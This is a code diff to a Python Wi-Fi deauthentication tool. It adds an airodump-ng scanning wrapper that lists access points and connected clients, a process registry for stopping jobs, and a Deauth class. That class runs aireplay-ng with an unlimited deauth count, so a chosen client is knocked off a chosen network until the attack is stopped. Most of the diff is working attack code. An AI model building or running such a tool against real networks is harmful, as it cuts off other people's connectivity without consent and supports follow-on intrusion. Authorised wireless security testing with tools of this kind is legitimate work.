diff --git a/wifi_deauth.py b/wifi_deauth.py index 1a64ef8..a35d667 100644 --- a/wifi_deauth.py +++ b/wifi_deauth.py @@ -1,12 +1,48 @@ #!/usr/bin/env python3 -"""CSV parsing, interface discovery, and monitor-mode + card-state handling.""" +"""Wireless plumbing: interface discovery, monitor mode, card-state restore, +and tracked airodump-ng / aireplay-ng subprocesses.""" +import glob import os import re +import shutil import subprocess import sys import tempfile import time +SCAN_NET_SECS = 10 +SCAN_CLIENT_SECS = 15 + +# --- child process registry (so "Stop & Reset" can kill mid-scan/mid-deauth) --- +_procs = set() + + +def _spawn(cmd, **kw): + p = subprocess.Popen(cmd, **kw) + _procs.add(p) + return p + + +def _reap(p): + _procs.discard(p) + + +def kill_all_children(): + for p in list(_procs): + try: + if p.poll() is None: + p.terminate() + except Exception: + pass + time.sleep(0.5) + for p in list(_procs): + try: + if p.poll() is None: + p.kill() + except Exception: + pass + _procs.discard(p) + def run(cmd, timeout=30): return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) @@ -96,6 +132,7 @@ def enable_monitor(state): def reset_card(state): if not state: return + kill_all_children() if state.mon_iface and state.used_airmon: run(["airmon-ng", "stop", state.mon_iface]) names = {i["iface"]: i for i in list_wifi_interfaces()} @@ -112,6 +149,34 @@ def reset_card(state): run(["systemctl", "start", "NetworkManager"]) +def airodump_scan(mon_iface, secs, bssid=None, channel=None): + tmpdir = tempfile.mkdtemp(prefix="wifiscan_") + prefix = os.path.join(tmpdir, "dump") + cmd = ["airodump-ng", "-w", prefix, "--output-format", "csv", "--write-interval", "1"] + if bssid: + cmd += ["--bssid", bssid] + if channel: + cmd += ["-c", str(channel)] + cmd += [mon_iface] + p = _spawn(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + # fixed scan duration is a naive heuristic; longer = more results. + t0 = time.time() + while time.time() - t0 < secs and p.poll() is None: + time.sleep(0.3) + p.terminate() + try: + p.wait(timeout=5) + except subprocess.TimeoutExpired: + p.kill() + _reap(p) + csvs = sorted(glob.glob(prefix + "*.csv")) + aps, stations = ([], []) + if csvs: + aps, stations = parse_airodump_csv(csvs[-1]) + shutil.rmtree(tmpdir, ignore_errors=True) + return aps, stations + + def parse_airodump_csv(path): try: with open(path, encoding="utf-8", errors="replace") as f: @@ -144,6 +209,30 @@ def parse_airodump_csv(path): return aps, stations +class Deauth: + def __init__(self): + self.proc = None + + def start(self, mon_iface, bssid, client): + cmd = ["aireplay-ng", "--deauth", "0", "-a", bssid, "-c", client, mon_iface] + self.proc = _spawn(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + + def stop(self): + p = self.proc + if p and p.poll() is None: + p.terminate() + try: + p.wait(timeout=5) + except subprocess.TimeoutExpired: + p.kill() + if p: + _reap(p) + self.proc = None + + def running(self): + return self.proc is not None and self.proc.poll() is None + + def _selftest(): sample = ( "BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, "